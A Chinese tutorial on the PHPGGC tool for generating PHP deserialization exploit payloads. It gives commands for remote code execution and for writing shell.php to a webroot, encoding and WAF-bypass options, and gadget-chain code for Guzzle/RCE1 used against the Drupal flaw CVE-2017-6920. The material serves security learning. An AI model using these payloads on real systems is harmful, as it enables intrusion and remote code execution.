从0到1掌握反序列化工具之PHPGGC
字数 1426 2025-08-26 22:11:51
PHPGGC反序列化工具详解
1. PHPGGC工具概述
PHPGGC是一款能够自动生成主流PHP框架序列化测试payload的工具,是反序列化漏洞利用的"武器库"。
1.1 基本特性
- 项目地址: https://github.com/ambionics/phpggc
- 运行要求: PHP CLI版本 >= 5.6
- 主要功能: 自动生成针对各种PHP框架和库的反序列化利用payload
1.2 基本命令
- 列出所有可用组件:
./phpggc -l- 显示内容包括: 组件名称、版本范围、可利用操作(文件读写/RCE)、攻击向量(如
__destruct)
- 显示内容包括: 组件名称、版本范围、可利用操作(文件读写/RCE)、攻击向量(如
- 查看组件信息:
./phpggc 组件名 -i- 显示生成payload所需的参数信息
2. PHPGGC核心功能详解
2.1 基本payload生成
示例生成Laravel/RCE1的payload:
./phpggc Laravel/RCE1 system id
2.2 文件写入功能
当组件只能满足写文件需求时,需要指定:
- 目标网站绝对路径
- 要写入的文件名
- 本地文件路径
示例:
./phpggc -w /var/www/html shell.php /tmp/data
2.3 数据包装处理
PHPGGC提供-w参数对序列化数据进行二次包装处理:
2.3.1 序列化前处理
当需要更改序列化对象结构时,可使用process_object函数。
示例场景:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
处理脚本示例(/tmp/w.php):
<?php
function process_object($object) {
return array('message' => $object);
}
2.3.2 序列化后处理
可对生成的序列化数据进行字符串替换等操作。
示例将"id"替换为"ls":
./phpggc -s id:ls ...
2.4 编码功能
支持对payload进行多种编码:
- Base64编码:
-b - URL编码:
-u(可多次使用)
示例:
./phpggc -b -u -u slim/rce1 system id
2.5 快速反序列化
使用-f参数可在unserialize()后立即销毁对象,而非等待脚本结束。
2.6 WAF绕过技术
使用--plus-numbers可在数字前添加"+"绕过正则检测:
- 例如将
O:123改为O:+123 - 可指定数据类型: O(PHP对象), i(int)等
3. PHPGGC实战分析
3.1 环境准备
示例漏洞: CVE-2017-6920 (Drupal YAML解析器RCE)
3.2 Guzzle/RCE1组件分析
3.2.1 chain.php分析
<?php
namespace GadgetChain\Guzzle;
class RCE1 extends \PHPGGC\GadgetChain\RCE {
public static $version = '6.0.0 <= 6.3.2';
public static $vector = '__destruct';
public static $author = 'proclnas';
public static $informations = '...';
public function generate(array $parameters) {
$function = $parameters['function'];
$parameter = $parameters['parameter'];
return new \GuzzleHttp\Psr7\FnStream([
'close' => [
new \GuzzleHttp\HandlerStack($function, $parameter),
'resolve'
]
]);
}
}
3.2.2 gadgets.php分析
<?php
namespace Psr\Http\Message {
interface StreamInterface {}
}
namespace GuzzleHttp\Psr7 {
class FnStream implements \Psr\Http\Message\StreamInterface {
private $methods;
public function __construct(array $methods) {
$this->methods = $methods;
foreach ($methods as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
public function __destruct() {
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
}
namespace GuzzleHttp {
class HandlerStack {
private $handler;
private $stack;
private $cached = false;
function __construct($function, $parameter) {
$this->stack = [[$function]];
$this->handler = $parameter;
}
public function resolve() {
if (!$this->cached) {
if (!($prev = $this->handler)) {
throw new \LogicException('No handler has been specified');
}
foreach (array_reverse($this->stack) as $fn) {
$prev = $fn[0]($prev);
}
$this->cached = $prev;
}
return $this->cached;
}
}
}
3.2.3 调用链分析
FnStream的__destruct()调用call_user_func($this->_fn_close)$this->_fn_close是[new HandlerStack($function,$parameter), 'resolve']HandlerStack::resolve()方法中:$prev初始化为$this->handler(即参数)- 遍历
$this->stack(包含函数名) - 最终形成
$function($parameter)调用
3.2.4 实际利用
- 生成payload:
./phpggc Guzzle/RCE1 system id -s
- 处理空字节(转义):
<?php echo addslashes(file_get_contents('payload.txt')); ?>
- 添加YAML标签:
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":..."
4. 总结
PHPGGC作为反序列化漏洞利用的强大工具,具有以下特点:
- 支持多种PHP框架和库
- 提供灵活的payload生成和定制选项
- 包含多种编码和绕过技术
- 详细的组件信息和版本支持说明
使用时需要注意:
- 目标系统的PHP版本和组件版本
- 可利用的攻击向量(
__destruct,__wakeup等) - 必要的参数和上下文环境
- 可能的WAF绕过需求